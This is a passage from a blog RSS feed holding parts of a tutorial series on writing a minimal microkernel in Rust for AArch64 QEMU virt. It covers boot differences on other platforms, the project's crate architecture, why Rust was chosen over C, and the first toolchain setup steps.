&lt;/a&gt;, the MMU in &lt;a
	
		href = &#34;/post/2026/03/building-microkernel-part4-memory-mmu/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 4
	&lt;/span&gt;
&lt;/a&gt;: they all stand on the boot sequence and UART driver we just walked through. Get this part right, and the rest is (relatively) straightforward.&lt;/p&gt;
&lt;h2 id=&#34;14-brief-appendix-how-would-this-differ-on-other-platforms&#34;&gt;14. Brief appendix: how would this differ on other platforms?&lt;/h2&gt;
&lt;p&gt;If you&amp;rsquo;re curious about x86_64 or Raspberry Pi, here&amp;rsquo;s a quick sketch.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On x86_64&lt;/strong&gt;, the boot process is much more complex because of backwards compatibility with the 1978 Intel 8086. The CPU starts in 16-bit real mode, where you can only address 1 MB of memory. You have to transition through protected mode (32-bit) and then long mode (64-bit), setting up GDTs (Global Descriptor Tables), enabling PAE (Physical Address Extension), and configuring initial page tables (paging is required for 64-bit mode). Most Rust OS projects use the &lt;code&gt;bootloader&lt;/code&gt; crate by Philipp Oppermann, which handles all these mode transitions and loads your kernel ELF. For serial output, x86 has legacy COM ports at I/O address &lt;code&gt;0x3F8&lt;/code&gt;, accessed with special &lt;code&gt;in&lt;/code&gt; and &lt;code&gt;out&lt;/code&gt; instructions (port-mapped I/O rather than memory-mapped I/O). The &lt;code&gt;uart_16550&lt;/code&gt; crate wraps this nicely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On Raspberry Pi&lt;/strong&gt;, something unexpected happens: the GPU boots first, not the CPU. The VideoCore GPU reads &lt;code&gt;bootcode.bin&lt;/code&gt; from the SD card, loads &lt;code&gt;start.elf&lt;/code&gt;, reads &lt;code&gt;config.txt&lt;/code&gt; for settings, and then loads your kernel (&lt;code&gt;kernel8.img&lt;/code&gt;) to address &lt;code&gt;0x80000&lt;/code&gt;. Only then does the ARM CPU start. The boot assembly is simpler than our QEMU virt version (no EL2 drop needed, the firmware handles that), but the UART driver is more complex. The Pi has two UARTs: a full PL011 (which is connected to Bluetooth by default) and a simpler Mini-UART on GPIO pins 14/15. The Mini-UART&amp;rsquo;s clock is tied to the GPU frequency, which makes baud rate configuration trickier. And of course, the development cycle is slower: build, copy to SD card, plug into Pi, power on, check output.&lt;/p&gt;
&lt;p&gt;Both platforms share the same kernel crate and Logger trait. That&amp;rsquo;s the whole point of the abstraction.&lt;/p&gt;
&lt;h2 id=&#34;15-references&#34;&gt;15. References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://developer.arm.com/documentation/ddi0487/latest/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ARM Architecture Reference Manual (ARMv8-A)
	&lt;/span&gt;
&lt;/a&gt; (Section D1 for exception levels, Section G for system registers)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://wiki.osdev.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OSDev Wiki
	&lt;/span&gt;
&lt;/a&gt; (community-driven OS development knowledge base)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://os.phil-opp.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Writing an OS in Rust
	&lt;/span&gt;
&lt;/a&gt; by Philipp Oppermann (excellent x86_64 series)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://docs.rust-embedded.org/book/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The Embedded Rust Book
	&lt;/span&gt;
&lt;/a&gt; (&lt;code&gt;no_std&lt;/code&gt; patterns and bare-metal Rust)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.qemu.org/docs/master/system/arm/virt.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		QEMU AArch64 virt machine documentation
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://developer.arm.com/documentation/ddi0183/latest/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PL011 UART Technical Reference Manual
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;5-Part Series&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2026/02/building-microkernel-part0-why-build-an-os/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 0: Why build an OS from scratch?
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 1 (this): Foundations&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 2: Communication&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 3: Concurrency&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 4: Memory and beyond&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Building a microkernel in Rust (Part 0): Why build an OS from scratch?</title>
      <link>/post/2026/02/building-microkernel-part0-why-build-an-os/</link>
      <pubDate>Sun, 22 Feb 2026 00:00:00 +0000</pubDate>
      
      <guid>/post/2026/02/building-microkernel-part0-why-build-an-os/</guid>
      <description>&lt;p&gt;&lt;strong&gt;5-Part Series&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Part 0 (this): Why build an OS from scratch?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 1: Foundations&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 2: Communication&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 3: Concurrency&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 4: Memory and beyond&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/rust-microkernel&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/rust-microkernel
	&lt;/span&gt;
&lt;/a&gt; — full source code and build scripts&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker Image&lt;/strong&gt;: &lt;a
	
		href = &#34;https://hub.docker.com/r/amitbahree/rust-microkernel&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		amitbahree/rust-microkernel
	&lt;/span&gt;
&lt;/a&gt; — prebuilt dev environment with Rust, QEMU, and source code&lt;/p&gt;&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;why-this-why-now&#34;&gt;Why this, why now?&lt;/h2&gt;
&lt;p&gt;I recently wrapped up an incredible chapter at Microsoft, working on the AI engineering team in CoreAI. Between roles, I found myself on gardening leave with something rare in this industry: a few weeks of unstructured time. And instead of doing the sensible thing (rest, catch up on sleep, maybe touch grass), my brain went: &amp;ldquo;You know what sounds fun? Writing an operating system from scratch.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Look, I&amp;rsquo;ve spent the last several years deep in AI/ML, from foundational model development to applied AI at scale. That work isn&amp;rsquo;t going anywhere (the &lt;a
	
		href = &#34;/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		LLM from scratch series
	&lt;/span&gt;
&lt;/a&gt; on this blog is a good example of that curiosity). But I&amp;rsquo;ve had this itch for a while now to go back to the fundamentals. The stuff that sits beneath all those PyTorch tensors and CUDA kernels. The stuff that actually makes a computer &lt;em&gt;compute&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s an old joke: a QA engineer walks into a bar. Orders 1 beer. Orders 0 beers. Orders 99999999 beers. Orders -1 beers. Orders a lizard. Orders NULL beers. First real customer walks in and asks where the bathroom is. The bar bursts into flames.&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s basically what happens when you try to run code without an OS. You think you&amp;rsquo;re ordering a beer, but there&amp;rsquo;s nobody behind the counter, no glasses, no refrigerator, and the building doesn&amp;rsquo;t have plumbing yet. You &lt;em&gt;are&lt;/em&gt; the plumbing. This series is about building that plumbing from nothing.&lt;/p&gt;
&lt;h2 id=&#34;part-0-really&#34;&gt;Part 0? Really?&lt;/h2&gt;
&lt;p&gt;Yes, we&amp;rsquo;re starting at zero. Because real programmers count from zero, and honestly, this part is about understanding what we&amp;rsquo;re building before we build it. Think of it as the moment before you start cooking, where you read the whole recipe, check you&amp;rsquo;ve got the ingredients, and figure out what you&amp;rsquo;re actually making. You don&amp;rsquo;t skip that step. (Okay, maybe you do sometimes. But you shouldn&amp;rsquo;t.)&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;ve ever wondered how code even &lt;em&gt;runs&lt;/em&gt; without an operating system underneath, or what happens between pressing the power button and seeing a login screen, or why everyone says &amp;ldquo;virtual memory&amp;rdquo; but nobody explains how it actually works, you&amp;rsquo;re in the right place.&lt;/p&gt;
&lt;h2 id=&#34;what-happens-when-theres-nothing-underneath-you&#34;&gt;What happens when there&amp;rsquo;s nothing underneath you?&lt;/h2&gt;
&lt;p&gt;Every program you&amp;rsquo;ve ever written ran on top of an operating system. When you call &lt;code&gt;println!&lt;/code&gt;, the OS figures out where to send those bytes. When you allocate memory, the OS finds a free chunk and maps it into your address space. When your code runs alongside other programs without crashing into them, that&amp;rsquo;s the OS keeping everyone in their own lane.&lt;/p&gt;
&lt;p&gt;Now imagine none of that exists. No OS. No standard library. No heap. No &lt;code&gt;println!&lt;/code&gt;. Just you, a CPU, and some RAM. You want to print a single character? You need to know the exact memory address of the serial port hardware, write one byte to that address, and hope you configured the device correctly. If you didn&amp;rsquo;t, nothing happens. The screen stays blank. The CPU doesn&amp;rsquo;t complain. It just sits there.&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s where we&amp;rsquo;re starting. We&amp;rsquo;re going to build, from nothing, the thing that makes all of those invisible layers work. By the end, you&amp;rsquo;ll understand exactly what happens between &amp;ldquo;power on&amp;rdquo; and &amp;ldquo;your code runs.&amp;rdquo; And honestly? It&amp;rsquo;s one of the most satisfying things you can do as a programmer.&lt;/p&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;This is a &lt;strong&gt;5-part educational series&lt;/strong&gt; (Part 0 through Part 4) where we build a minimal OS kernel in Rust from scratch. We focus on &lt;strong&gt;AArch64 QEMU virt&lt;/strong&gt;, which means anyone with a laptop can run it. No special hardware needed, just QEMU.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s what you&amp;rsquo;ll learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Boot sequences&lt;/strong&gt;: How a CPU goes from power-on to running your first line of Rust&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Serial output&lt;/strong&gt;: The simplest possible way to see what your kernel is doing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Message-passing IPC&lt;/strong&gt;: How tasks communicate without sharing memory&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cooperative and preemptive scheduling&lt;/strong&gt;: From polite turn-taking to the OS forcibly yanking the CPU away&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Timer interrupts&lt;/strong&gt;: How hardware gives your OS a sense of time&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Context switching&lt;/strong&gt;: Saving and restoring every register so tasks don&amp;rsquo;t know they were paused&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtual memory&lt;/strong&gt;: Page tables, the MMU, and why every address your code uses is a lie&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: This is a learning project, not production code. The goal is understanding, not security or completeness.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time commitment&lt;/strong&gt;: About 2-4 hours per part, totaling 5 parts. Follow along at your own pace.&lt;/p&gt;
&lt;h2 id=&#34;1-a-quick-primer-aarch64-qemu-and-the-virt-machine&#34;&gt;1. A quick primer: AArch64, QEMU, and the &amp;ldquo;virt&amp;rdquo; machine&lt;/h2&gt;
&lt;p&gt;You&amp;rsquo;ll see the phrase &amp;ldquo;AArch64 QEMU virt&amp;rdquo; throughout this series, so let&amp;rsquo;s unpack it before we go further.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AArch64&lt;/strong&gt; is ARM&amp;rsquo;s 64-bit instruction set architecture. It&amp;rsquo;s the CPU architecture inside your phone, your tablet, Apple Silicon Macs, most cloud servers (AWS Graviton, Ampere Altra), and the Raspberry Pi 3 and newer. When we say we&amp;rsquo;re writing an AArch64 kernel, we mean we&amp;rsquo;re writing code that speaks the language these CPUs understand: A64 instructions, 31 general-purpose 64-bit registers (x0 through x30), four exception levels (EL0 through EL3) for privilege separation, and a specific way of handling interrupts, memory, and device access.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;ve only worked with x86_64 (Intel/AMD), the concepts are the same, but the details differ. ARM uses a load/store architecture (you can&amp;rsquo;t perform arithmetic directly in memory; you have to load values into registers first), a different interrupt model (GIC instead of APIC), and a different boot flow (exception levels instead of real/protected/long mode transitions). None of this matters yet. We&amp;rsquo;ll explain every ARM-specific detail as we encounter it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QEMU&lt;/strong&gt; is a machine emulator. It simulates an entire computer in software: CPU, RAM, interrupt controller, timer, serial port, everything. When we run our kernel in QEMU, it doesn&amp;rsquo;t touch your real hardware. QEMU pretends to be an ARM computer, and our kernel runs on it. This is incredibly useful for OS development because you can restart instantly, you can&amp;rsquo;t brick anything, and the emulated hardware behaves predictably.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;ldquo;virt&amp;rdquo;&lt;/strong&gt; is a specific machine type provided by QEMU. Real ARM hardware comes in thousands of configurations: different board layouts, different peripherals, different memory maps. The &lt;code&gt;virt&lt;/code&gt; machine is a clean, minimal design created by QEMU specifically for virtual machines and testing. It gives you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A PL011 UART (serial port) at a known memory address for text output&lt;/li&gt;
&lt;li&gt;A GICv2 interrupt controller for routing hardware interrupts to the CPU&lt;/li&gt;
&lt;li&gt;An ARM Generic Timer for periodic tick interrupts&lt;/li&gt;
&lt;li&gt;RAM starting at a fixed address (0x40000000)&lt;/li&gt;
&lt;li&gt;No legacy baggage, no quirky firmware, no board-specific workarounds&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is why we chose it for the blog series. The &lt;code&gt;virt&lt;/code&gt; machine strips away all the hardware complexity that has nothing to do with OS fundamentals. You don&amp;rsquo;t need to worry about GPU initialization, USB enumeration, or PCIe configuration. You get a CPU, memory, a timer, an interrupt controller, and a serial port. That&amp;rsquo;s exactly what you need to learn how an OS works, and nothing more.&lt;/p&gt;
&lt;p&gt;When you run &lt;code&gt;qemu-system-aarch64 -machine virt&lt;/code&gt;, you&amp;rsquo;re telling QEMU: &amp;ldquo;pretend to be this specific kind of ARM computer.&amp;rdquo; Our kernel is written to match that pretend computer&amp;rsquo;s memory map and peripherals.&lt;/p&gt;
&lt;h2 id=&#34;2-what-were-building&#34;&gt;2. What we&amp;rsquo;re building&lt;/h2&gt;
&lt;p&gt;rustOS is a minimal microkernel. Not a &amp;ldquo;toy&amp;rdquo; that prints hello world and stops, but not Linux either. It&amp;rsquo;s the kind of thing that actually boots, actually runs multiple tasks, actually translates virtual addresses to physical ones. The interesting middle ground where you learn how real operating systems work without drowning in 30 million lines of code.&lt;/p&gt;
&lt;p&gt;The kernel boots on AArch64 QEMU virt (an emulated ARM machine that anyone can run). It implements message-passing IPC, the core idea behind microkernel design, in which tasks communicate by sending small, fixed-size messages through a router rather than poking each other&amp;rsquo;s memory directly. It runs a cooperative scheduler that polls tasks in round-robin, and then we upgrade to preemptive multitasking with timer interrupts so tasks can&amp;rsquo;t hog the CPU. And it manages virtual memory with 4-level page tables and a real MMU, the hardware that makes every modern OS possible.&lt;/p&gt;
&lt;p&gt;Now, the codebase also supports x86_64 and the Raspberry Pi Zero 2 W. Those platforms share the same kernel logic and are available in the repository if you want to explore them. But the blog series focuses on AArch64 virt because it&amp;rsquo;s the most accessible. You don&amp;rsquo;t need a Raspberry Pi. You don&amp;rsquo;t need a Windows machine to deal with x86 bootloader quirks. You need QEMU, and QEMU runs on everything.&lt;/p&gt;
&lt;p&gt;Before we look at the code layout, a quick Rust concept if you&amp;rsquo;re coming from another language: a &lt;strong&gt;crate&lt;/strong&gt; is Rust&amp;rsquo;s unit of compilation, roughly equivalent to a library or package in other ecosystems. A crate has its own &lt;code&gt;Cargo.toml&lt;/code&gt; (think &lt;code&gt;package.json&lt;/code&gt; or &lt;code&gt;pom.xml&lt;/code&gt;) that declares its name, dependencies, and build settings. A &lt;strong&gt;workspace&lt;/strong&gt; groups multiple crates together so they can share dependencies and be built in one &lt;code&gt;cargo build&lt;/code&gt; invocation. Our project is a workspace with several crates: &lt;code&gt;kernel&lt;/code&gt;, &lt;code&gt;hal&lt;/code&gt;, and one per platform. Each crate compiles independently and can depend on others. When you see &lt;code&gt;kernel&lt;/code&gt; crate or &lt;code&gt;hal&lt;/code&gt; crate below, think &amp;ldquo;self-contained module with a clear API boundary.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s how the code is organized:&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig4&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TB
    subgraph &amp;#34;Platform-Agnostic Core&amp;#34;
        kernel[kernel&amp;lt;br/&amp;gt;IPC Router, Scheduler, Tasks]
        hal[hal&amp;lt;br/&amp;gt;Logger Trait, Arch Primitives]
    end

    subgraph &amp;#34;Platform Crate&amp;#34;
        virt[arch_aarch64_virt&amp;lt;br/&amp;gt;QEMU Boot, PL011 UART&amp;lt;br/&amp;gt;Timer, GIC, MMU]
    end

    virt --&amp;gt; hal
    virt --&amp;gt; kernel

    style kernel fill:#e1f5ff
    style hal fill:#e1f5ff
    style virt fill:#fff4e1&lt;/pre&gt;
    &lt;figcaption&gt;Figure 4: Platform-agnostic crate architecture&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The &lt;code&gt;kernel&lt;/code&gt; crate knows nothing about hardware. It talks to the world through a &lt;code&gt;Logger&lt;/code&gt; trait defined in &lt;code&gt;hal&lt;/code&gt;. The platform crate (&lt;code&gt;arch_aarch64_virt&lt;/code&gt;) implements that trait using a PL011 UART driver and handles all ARM-specific setup: boot assembly, timer configuration, GIC interrupt routing, and MMU page tables. This separation is the same pattern you&amp;rsquo;ll find in real operating systems. Linux has &lt;code&gt;arch/arm64/&lt;/code&gt; for ARM-specific code and &lt;code&gt;kernel/&lt;/code&gt; for the portable parts. We&amp;rsquo;re doing the same thing, just at a much smaller scale.&lt;/p&gt;
&lt;h2 id=&#34;3-why-this-series&#34;&gt;3. Why this series?&lt;/h2&gt;
&lt;p&gt;Most OS tutorials either skip the hard parts (boot, interrupts, memory management), use simulators instead of real code, or don&amp;rsquo;t explain &lt;em&gt;why&lt;/em&gt; things work the way they do. You get a code dump with a comment saying &amp;ldquo;configure the GIC&amp;rdquo; and zero explanation of what the GIC is, why it exists, or what happens if you get it wrong.&lt;/p&gt;
&lt;p&gt;This series is different. We show complete implementations with no hand-waving. Every register write gets explained. Every design decision has a rationale. When we configure the MMU, we don&amp;rsquo;t just say &amp;ldquo;set TCR_EL1 to this magic number.&amp;rdquo; We break down every bit field, explain what it controls, and why we chose that value.&lt;/p&gt;
&lt;p&gt;We also focus on understanding the features. A production OS needs thousands of things we don&amp;rsquo;t build: filesystems, networking, user mode, multicore support, security hardening. We skip all of that. Not because those things aren&amp;rsquo;t important, but because they all build on the foundation we&amp;rsquo;re teaching here. You can&amp;rsquo;t write a filesystem without understanding memory management. You can&amp;rsquo;t implement a network stack without interrupts. Get the foundation right, and the rest is (hard, but conceptually clear) engineering.&lt;/p&gt;
&lt;p&gt;And we&amp;rsquo;re using Rust, which honestly makes bare-metal programming less terrifying than it used to be. The type system catches entire classes of bugs at compile time. You&amp;rsquo;ll still write plenty of &lt;code&gt;unsafe&lt;/code&gt; code (this is an OS, after all), but the safe parts of Rust keep you honest about where the dangerous bits are.&lt;/p&gt;
&lt;p&gt;Operating systems sit at the intersection of hardware (registers, interrupts, memory controllers), architecture (x86 vs ARM, privilege levels, MMUs), concurrency (multiple tasks, race conditions), and abstraction (clean APIs over messy hardware). There&amp;rsquo;s no debugger, no standard library, and mistakes cause silent crashes. This series shows you how to navigate that complexity, one piece at a time.&lt;/p&gt;
&lt;h2 id=&#34;4-why-rust-and-not-c-or-assembly&#34;&gt;4. Why Rust? (and not C or assembly)&lt;/h2&gt;
&lt;p&gt;If you&amp;rsquo;re building an OS, you&amp;rsquo;re probably wondering: why Rust? Traditionally, kernels are written in C (Linux, xv6, Minix) or even raw assembly. Both are fine choices. But Rust brings something genuinely new to the table.&lt;/p&gt;
&lt;h3 id=&#34;41-the-problem-with-c&#34;&gt;4.1 The problem with C&lt;/h3&gt;
&lt;p&gt;C gives you total control. No garbage collector, no runtime, direct memory access. That&amp;rsquo;s why it&amp;rsquo;s been the lingua franca of OS development for 50 years. But C also trusts you completely, and that trust is the problem. Buffer overflows, use-after-free, null pointer dereferences, data races: these aren&amp;rsquo;t theoretical. They&amp;rsquo;re the source of roughly 70% of security vulnerabilities in production systems (Microsoft and Google have both published studies confirming this).&lt;/p&gt;
&lt;p&gt;In kernel code, these bugs are catastrophic. A buffer overflow in userspace causes your program to crash. A kernel-space buffer overflow corrupts the entire system. There&amp;rsquo;s no safety net below you.&lt;/p&gt;
&lt;h3 id=&#34;42-the-problem-with-assembly-only&#34;&gt;4.2 The problem with assembly only&lt;/h3&gt;
&lt;p&gt;You could write an OS in pure assembly. Some people do, and there&amp;rsquo;s real value in understanding every instruction. But assembly doesn&amp;rsquo;t scale. An OS needs abstractions (traits, modules, type checking) to stay maintainable. Writing a mailbox router in assembly would work, but debugging it would be miserable. And you&amp;rsquo;d lose all the benefits of a compiler that can optimize, inline, and catch type errors for you.&lt;/p&gt;
&lt;h3 id=&#34;43-what-rust-gives-you&#34;&gt;4.3 What Rust gives you&lt;/h3&gt;
&lt;p&gt;Rust&amp;rsquo;s ownership system catches entire classes of bugs at compile time. You can&amp;rsquo;t use a value after freeing it. You can&amp;rsquo;t have two mutable references to the same data. You can&amp;rsquo;t forget to initialize memory. The borrow checker is annoying until you realize it&amp;rsquo;s catching bugs that would take hours to debug on bare metal, where there&amp;rsquo;s no debugger, no address sanitizer, and no core dump.&lt;/p&gt;
&lt;p&gt;But Rust also gets out of your way when you need it to. The &lt;code&gt;unsafe&lt;/code&gt; keyword lets you write raw pointer dereferences, inline assembly, and MMIO operations. You have to be explicit about it. The dangerous parts are clearly marked, and the safe parts are genuinely safe. This is a huge improvement over C, where everything is implicitly unsafe.&lt;/p&gt;
&lt;p&gt;Rust&amp;rsquo;s &lt;code&gt;no_std&lt;/code&gt; ecosystem is also mature. Crates like &lt;code&gt;bootloader&lt;/code&gt;, &lt;code&gt;uart_16550&lt;/code&gt;, and &lt;code&gt;volatile&lt;/code&gt; provide building blocks for OS development. The &lt;code&gt;core&lt;/code&gt; library gives you basic types, traits, and iterators without needing an allocator. And &lt;code&gt;#[repr(C)]&lt;/code&gt; lets you control struct layout for hardware register interactions.&lt;/p&gt;
&lt;p&gt;Concretely, here are bugs Rust prevented during this project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The compiler refused to let us access the IPC router from an interrupt handler without explicit synchronization (&lt;code&gt;UnsafeCell&lt;/code&gt; + &lt;code&gt;Sync&lt;/code&gt; impl)&lt;/li&gt;
&lt;li&gt;A missing &lt;code&gt;volatile&lt;/code&gt; read would have been optimized away in C, silently breaking UART output. In Rust, we had to use &lt;code&gt;read_volatile&lt;/code&gt;, making the intent clear explicitly&lt;/li&gt;
&lt;li&gt;Type mismatches between page table entry formats were caught at compile time, not at boot time, with a mysterious hang&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Is Rust perfect for OS development? No. The borrow checker sometimes fights you in ways that feel unnecessary for single-threaded kernel code. &lt;code&gt;static mut&lt;/code&gt; is awkward. Some patterns that are natural in C require contortions in Rust. But on balance, we think the trade-off is overwhelmingly positive. You spend a little more time satisfying the compiler, and a lot less time debugging silent memory corruption.&lt;/p&gt;
&lt;h2 id=&#34;5-getting-started&#34;&gt;5. Getting started&lt;/h2&gt;
&lt;p&gt;You&amp;rsquo;ll need Rust (nightly), QEMU, and basic Rust knowledge. If you know what ownership and traits are, you&amp;rsquo;re good. If you&amp;rsquo;ve written a function that takes &lt;code&gt;&amp;amp;self&lt;/code&gt; and returned a &lt;code&gt;Result&lt;/code&gt;, you&amp;rsquo;ll be fine. You don&amp;rsquo;t need to know assembly or have prior OS background. That&amp;rsquo;s the whole point of the series.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Tool&lt;/th&gt;
          &lt;th&gt;Purpose&lt;/th&gt;
          &lt;th&gt;Installation&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Rust&lt;/strong&gt; (nightly)&lt;/td&gt;
          &lt;td&gt;Bare-metal compilation&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;rustup default nightly&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;QEMU&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Virtual machine for running our kernel&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;apt install qemu-system-aarch64&lt;/code&gt; or &lt;code&gt;brew install qemu&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Git&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Cloning the repository&lt;/td&gt;
          &lt;td&gt;You probably already have this&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;51-install-rust-nightly&#34;&gt;5.1 Install Rust (nightly)&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Install Rust via rustup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl --proto &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;=https&amp;#39;&lt;/span&gt; --tlsv1.2 -sSf https://sh.rustup.rs | sh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Follow prompts, select default installation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Then reload your shell environment:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;source&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$HOME&lt;/span&gt;/.cargo/env
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Switch to nightly (required for bare-metal features)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustup default nightly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add the rust-src component (needed for building core for bare-metal targets)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustup component add rust-src --toolchain nightly
